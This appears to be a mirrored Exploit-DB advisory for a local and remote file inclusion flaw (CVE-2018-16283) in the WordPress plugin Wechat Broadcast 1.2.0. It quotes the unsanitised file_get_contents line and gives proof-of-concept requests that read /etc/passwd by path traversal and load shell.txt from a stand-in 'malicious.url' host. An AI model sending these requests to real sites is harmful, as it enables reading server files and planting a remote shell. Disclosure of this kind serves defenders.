WordPress Plugin Wechat Broadcast 1.2.0 – Local File Inclusion

  • 作者: Manuel García Cárdenas
    日期: 2018-09-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45438/
  • # Exploit Title: WordPress Plugin Wechat Broadcast 1.2.0 - Local File Inclusion
    # Author: Manuel Garcia Cardenas
    # Date: 2018-09-19
    # Software link: https://es.wordpress.org/plugins/wechat-broadcast/
    # CVE: CVE-2018-16283
    
    # Description
    # This bug was found in the file: /wechat-broadcast/wechat/Image.php
    # echo file_get_contents(isset($_GET["url"]) ? $_GET["url"] : '');
    # The parameter "url" it is not sanitized allowing include local or remote files
    # To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol 
    # to interact with the application.
    
    # PoC
    # The following URL have been confirmed that is vulnerable to local and remote file inclusion.
    
    GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=../../../../../../../../../../etc/passwd
    
    # Remote File Inclusion POC:
    
    GET /wordpress/wp-content/plugins/wechat-broadcast/wechat/Image.php?url=http://malicious.url/shell.txt